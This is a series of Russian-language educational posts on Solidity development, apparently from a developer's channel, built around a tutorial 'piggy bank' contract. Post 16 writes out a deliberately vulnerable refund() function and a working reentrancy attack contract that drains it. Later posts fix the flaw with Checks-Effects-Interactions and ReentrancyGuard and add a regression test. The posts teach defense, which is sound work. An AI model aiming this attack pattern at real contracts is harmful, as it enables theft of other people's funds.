Обещал - делаю. Сегодня мы ограбим собственный контракт, вытащим из него все деньги одной транзакцией - и ты увидишь самую знаменитую уязвимость Ethereum своими глазами. Это словарь №12, реентерабельность, только теперь вживую

Добавим человечную фичу Копилка копит на цель. Логично разрешить передумать: пока цель не достигнута -забери свой вклад обратно. Для этого контракт запоминает, кто сколько внёс, и отдаёт по запросу:

mapping(address => uint256) public deposits;

function refund() external {
    uint256 amount = deposits[msg.sender];
    if (amount == 0) revert NothingToRefund();

    (bool ok, ) = msg.sender.call{value: amount}("");  // 1. отдали деньги
    require(ok, "refund failed");
    deposits[msg.sender] = 0;                            // 2. обнулили вклад
}

Выглядит безобидно. Читается сверху вниз, как обычный JS. И здесь спрятана дыра на миллиарды

В чём подвох Строка msg.sender.call{value: amount} - это не просто перевод. Если msg.sender — контракт, то в момент получения денег у него вызывается код. А наш баланс обнуляется только на следующей строке. Улавливаешь? Между «отдали» и «записали, что отдали» есть щель - и в неё можно засунуть руку

Контракт-грабитель:

contract Robber {
    Kopilka public target;
    uint256 bait;

    function attack() external payable {
        bait = msg.value;
        target.deposit{value: bait}();  // вносим приманку
        target.refund();                // и сразу забираем — начинается рекурсия
    }

    // сюда прилетают деньги от refund — и мы бьём снова
    receive() external payable {
        if (address(target).balance >= bait) {
            target.refund();  // наш вклад ещё не обнулён — Копилка отдаёт опять
        }
    }
}

Один attack() - и рекурсия выкачивает Копилку досуха: каждый повторный refund() видит наш вклад всё ещё ненулевым (обнуление-то не наступило, мы не вышли из первого вызова) и покорно отдаёт чужие деньги, пока баланс не кончится. Внесли 0.01 - вынесли всё

Почему это не экзотика. Так в 2016 украли The DAO - 3.6 млн ETH, и ради отката той кражи Ethereum раскололся на две сети (словарь №18, форк). Ровно эта щель между «отдал» и «записал» до сих пор в топе аудиторских находок

Задание №16: прочитай refund() ещё раз и, не подглядывая в следующий пост, ответь себе: какую одну строчку надо переставить, чтобы дыра закрылась? Это буквально вопрос на миллиард - в четверг проверим

Код грабителя и дырявой Копилки в репо, тег post-16. Разворачивай на локальной ноде и грабь на здоровье: свои же деньги

Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-16

Во время работы над своими проектами всё время всплывает желание сделать что-то ещё. Добавить фичу, которую никто не просил. Переписать пакет с нуля, потому что чужой закрывает мой случай на восемьдесят процентов, а оставшиеся двадцать делает не так.

Каждая такая мысль по отдельности выглядит разумной. Она правда сделает проект лучше. Проблема в том, что их много, я один, и они не кончаются: закрываешь одну - приходят две.

Интересно, где проходит эта граница. Между всеми хотелками и реальными возможностями одного человека. Как понять, что вот здесь уже хватит, пора остановиться и заниматься только живыми проектами?

#мысли_вслух

#словарь_райта · №21 - Индексер

Попробуй спросить у контракта: «покажи все депозиты Копилки за август». Не выйдет - у блокчейна нет SELECT WHERE. Контракт отвечает только про текущее состояние, а история лежит в логах событий, размазанных по миллионам блоков

Индексер (индексатор) - это сервис, который слушает события контрактов, складывает их в обычную базу данных и даёт наружу нормальный API с фильтрами и сортировками. Блокчейн остаётся источником истины, индексатор быстрой read-моделью поверх него

Узнаёшь паттерн? Это CQRS: пишем в одно хранилище, читаем из другого. Блокчейн - write-модель, индексер - read-модель, события - конвейер между ними. Всё, что мы собирали в серии, сложилось в знакомую архитектуру

Зачем тебе это слово: без индексатора не живёт ни один серьёзный dApp - история операций, лидерборды, аналитика приходят оттуда. Крупнейший децентрализованный индексатор - The Graph

Райт · blockwright.eth

Делал поддержку Solana в кошельке. Фича была запланирована на неделю - сделал за два дня. И дело не в том, что я стал быстрее печатать: архитектура была продумана заранее, и новая сеть легла в уже готовые места, а не поперёк них

Освободившиеся дни уйдут не на следующую фичу. На менеджмент проекта, на соцсети, на то, до чего обычно не доходят руки

Вот что, по-моему, важно в эпоху ИИ. Писать код стало дёшево, и в сторы хлынул поток навайбленных приложений. Только 99 процентов из них - полная херня, которая не выживет, а действительно стоящих продуктов стало даже меньше, чем раньше

Отличает их ровно то, чего ИИ за тебя не делает: архитектура и системность. Когда они есть, он превращает неделю в два дня. Когда их нет - просто быстрее производит мусор

#мысли_вслух

В прошлый раз мы выкачали Копилку досуха через refund(). Задание было - найти строчку, которую надо переставить и ответ смехотворно прост:

function refund() external {
    uint256 amount = deposits[msg.sender];
    if (amount == 0) revert NothingToRefund();

    deposits[msg.sender] = 0;                            // сначала записали
    (bool ok, ) = msg.sender.call{value: amount}("");   // потом отдали
    require(ok, "refund failed");
}

Это всё - две строчки поменялись местами и дыры больше нет. Когда грабитель повторно войдёт в refund(), его вклад уже обнулён: amount == 0, revert, рекурсия захлёбывается на первом же витке.

У этого порядка есть имя Checks-Effects-Interactions - паттерн, который в Solidity надо впечатать в подкорку:

- Checks - сначала все проверки. Кто вызвал, хватает ли, есть ли что отдавать?
- Effects - потом меняем своё состояние. Обнуляем, списываем, помечаем
- Interactions - и только в самом конце трогаем внешний мир, делаем переводы, вызовы чужих контрактов и далее

Причина ровно та, что мы видели вживую, в прошлом посте, любой внешний вызов может вернуться к тебе рекурсией, пока ты не закончил. Поэтому к моменту, когда ты отдаёшь управление наружу, твоё состояние уже должно быть честным и финальным. Отдавай деньги последним действием, когда врать о балансе уже нечем

Аналогия для web2. Это как транзакция в базе, где ты сначала фиксируешь списание денег, а потом дёргаешь внешний платёжный API, а не наоборот. Дёрнешь API раньше коммита - и злобный ретрай может бклиниться между внешним api и твоим INSERT в базу, как итог двойное списание средств. Тот же баг, но в блокчейне за такое платят миллионами потерь, а не саппортом

Докажем, что закрыли. Хороший фикс тот, у которого есть тест. Берём того же грабителя из поста 16 и убеждаемся, что теперь он падает

it("после фикса грабитель не может вынести чужое", async function () {
  const kopilka = await deploy();
  // жертва вносит 1 ETH
  await kopilka.write.deposit({ value: parseEther("1"), account: victim.account });

  // грабитель вносит 0.01 и пытается дренажить
  const robber = await viem.deployContract("Robber", [kopilka.address]);
  await viem.assertions.revert(
    robber.write.attack({ value: parseEther("0.01") }),
  );

  // 1 ETH жертвы на месте
  const [current] = await kopilka.read.progress();
  assert.equal(current, parseEther("1.01"));
});

Тест из поста 16 (атака удаётся) теперь инвертирован в «атака откатывается» и это красиво: один и тот же грабитель до фикса выносит кассу, после фикса разбивает нос о revert. Регрессия на уязвимость лучший вид теста

Задание №17: возьми свою Копилку из поста 16, переставь две строки и прогони тест с грабителем. Красный стал зелёным? Ты только что закрыл дыру, из-за которой Ethereum когда-то раскололся надвое

Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-17

#словарь_райта · №22 - Атомарность

Буква A из ACID, которую ты знаешь по транзакциям в базах: операция либо выполняется целиком, либо не выполняется вообще. Половины не бывает

В web3 это не свойство базы, а закон исполнения любого вызова. Транзакция к контракту всегда одна атомарная единица. Сработал require где-то в середине, значит откатывается всё, до последнего изменения, как будто вызова и не было вовсе. Помнишь «вышибалу» из Копилки? Он не просто отказывает, он стирает все следы попытки

Атомарность в web3 сквозная, что значит, один вызов может пройти через пять контрактов - обменять токены, взять кредит, погасить его - и вся цепочка либо удастся целиком, либо целиком испарится. На этом стоят флеш-кредиты: миллионы без залога на одну транзакцию, потому что «не вернул» означает «займа никогда не было»

Зачем тебе это слово: атомарность - твой главный страховочный трос в контрактах, если ошибешся - транзакция откатилась, деньги целы, заплатить придется только за газ, потому что работу-то узлы выполнили

Райт · blockwright.eth

Академия. Сайт релизнут. У обучения появились модули и дерево курса - видно, куда идёшь и чем всё кончается. У кошелька и у академии на сайте
теперь свои страницы

Кошелёк. Собрал Solana. Важные экраны закрыл от скриншотов. Балансы обновляются сами. Релиз завтра - сборка пока закрытая, стоит только у меня. TestFlight - 5 октября.

Всё, что вышло за неделю, - на blockwright.dev

#строй_от_райт

#словарь_райта · №23 - Событие

В web2 «сообщить наружу» - это webhook или EventEmitter. Контракт так не умеет. Он живёт в детерминированной клетке (словарь №8) и не может дёрнуть твой сервер

Вместо этого он кричит в журнал: emit Deposited(кто, сколько). Крик записывается в блок как лог, а это дешёвая строчка истории, которую сам контракт никогда не прочитает. Она не для него, а для внешнего мира

Снаружи на журнал подписываются все, кому интересно и твой фронтенд ловит событие и обновляет страницу, индексатор (словарь №21) складывает миллионы таких криков в удобную базу

Зачем тебе это слово: события - это API контракта наружу. Записать состояние может транзакция, а вот рассказать миру, что случилось, только событие

Райт · blockwright.eth

В прошлом посте мы закрыли дыру перестановкой строк и это работает. Но есть одна проблема, все держится на том, что ты каждый раз вспомнишь про правильный порядок. А функций в контракте десять, писал их в разное время. Память самая плохая защита для денег

Замок вместо памяти. Есть приём, знакомый любому, кто писал многопоточку - mutex. Ставим флаг «занято» на входе в функцию и снимаем на выходе, в итоге повторный вход, пока мы внутри, просто отбивается

bool private locked;

modifier noReentry() {
    require(!locked, "reentrant");
    locked = true;
    _;              // тело функции выполняется здесь
    locked = false;
}

function refund() external noReentry {
    // ... хоть в каком порядке — второй вход не пройдёт
}

Грабитель из поста 16 входит первый раз - ставит флаг - пытается войти рекурсией второй раз - require(!locked) отбивает. Рекурсия мертва в зародыше, и уже неважно, в каком порядке внутри строки. Это тот же паттерн, что lock в многопоточном коде, когда в критическую секцию, пускают исключительно по одному

А теперь — главный урок серии про безопасность. Не пиши этот модификатор сам. У OpenZeppelin есть ReentrancyGuard - тот же mutex, но написанный, вычитанный и проверенный тысячами проектов и десятками аудитов

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract Kopilka is ReentrancyGuard {
    function refund() external nonReentrant {
        // защита из коробки
    }
}

Почему чужой код здесь лучше твоего. В обычной разработке «написал сам» часто плюс, потому что понимаешь каждую строку. В безопасности контрактов - это минус. Твой свежий mutex видели ты и ревьюер, а вот ReentrancyGuard видели тысячи глаз, его ломали на сотнях аудитов и не сломали. В коде, который стережёт деньги, возраст и количество атак, которые он пережил - это не скука, это броня. Меньше своего кода на критическом пути - меньше поверхность атаки

Тот же принцип, кстати, я держу в кошельке, который пишу: для мнемоники и подписи только аудированные библиотеки семейства noble/scure, ни одной своей строчки криптографии. Изобретать своё в этих местах - не смелость, а самонадеянность

Когда что. Checks-Effects-Interactions (пост 17) - базовая гигиена, применяй всегда и бесплатно. nonReentrant - ремень безопасности сверху, особенно там, где внешних вызовов несколько или логика ветвится. Одно не отменяет другое: сначала правильный порядок, потом замок как страховка

Задание №18: поставь @openzeppelin/contracts, унаследуй Копилку от ReentrancyGuard, повесь nonReentrant на refund - и прогони тест с грабителем из поста 16. Две независимые защиты на одной функции: пояс и подтяжки

В следующем посте выводим Копилку из песочницы в настоящую сеть - деплой в Sepolia, где всё по-взрослому

Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-18

Девятнадцать постов Копилка жила на локальной ноде, которая живёт в памяти и умирает с закрытием терминала. Сегодня она попадает в настоящую сеть - Sepolia, тестнет Ethereum. Те же ноды, тот же консенсус, те же блоки раз в 12 секунд, только эфир бесплатный

Помнишь env из поста 5? Вот ради чего. Пять постов назад мы прятали RPC-адрес и приватный ключ в переменные и не коммитили их. Тогда это выглядело перестраховкой. Сегодня они, наш билет в сеть

// hardhat.config.ts — сеть Sepolia
sepolia: {
  type: "http",
  url: configVariable("SEPOLIA_RPC_URL"),
  accounts: [configVariable("SEPOLIA_PRIVATE_KEY")],
}

configVariable не тащит секрет в код - Hardhat подставит его из окружения в момент деплоя. Ключ живёт в .env, .env - в .gitignore, и это не паранойя: приватный ключ в публичном репо боты выметают за секунды. Правило, которое стоит впечатать в подкорку, ключ, которым деплоишь, - от отдельного тестового кошелька. Никогда не основного

Три шага до сети. Наливаем тестовый эфир из фаусета на адрес деплоера, потом Ignition (пост 11) катит контракт, но уже в Sepolia

npx hardhat ignition deploy ignition/modules/Kopilka.ts --network sepolia

Разница с локальным деплоем во времени. Локально контракт появлялся мгновенно, здесь ты ждёшь, пока транзакцию подхватит валидатор и подтвердит блок. Секунд десять-двадцать реального ожидания и Ignition печатает адрес, который теперь существует не в твоей памяти, а в общей сети, для всех

Сделаем контракт читаемым для мира. Verify публикует исходник на Etherscan и связывает его с байткодом в сети, чтобы любой мог открыть контракт и прочитать, что он делает

npx hardhat verify --network sepolia <адрес> "<аргумент goal>"

После этого на sepolia.etherscan.io у твоей Копилки появляется вкладка Code с исходником и зелёная галочка. Это и есть web3-этика по умолчанию. Код, который распоряжается деньгами, открыт для чтения. Не «доверься мне», а «прочитай сам»

И фронт оживает по-настоящему. Помнишь, в конфиге из поста 13 мы прописали sepolia рядом с hardhat? Меняешь в KOPILKA_ADDRESS локальный адрес на свежий из Sepolia, переключаешь MetaMask на Sepolia - и та же страница, кошелёк, живая лента работают против настоящей сети. Кто-то с другого конца света может открыть твою Копилку и внести депозит. Круг, начатый в посте 1, замкнулся

Задание №19: задеплой Копилку в Sepolia, дождись адреса, verify на Etherscan и пришли ссылку на свой контракт в комментарии. Это первый твой контракт, который видит весь мир, - момент, который стоит запомнить

Райт · blockwright.eth
github.com/blockwright/kopilka · tag post-19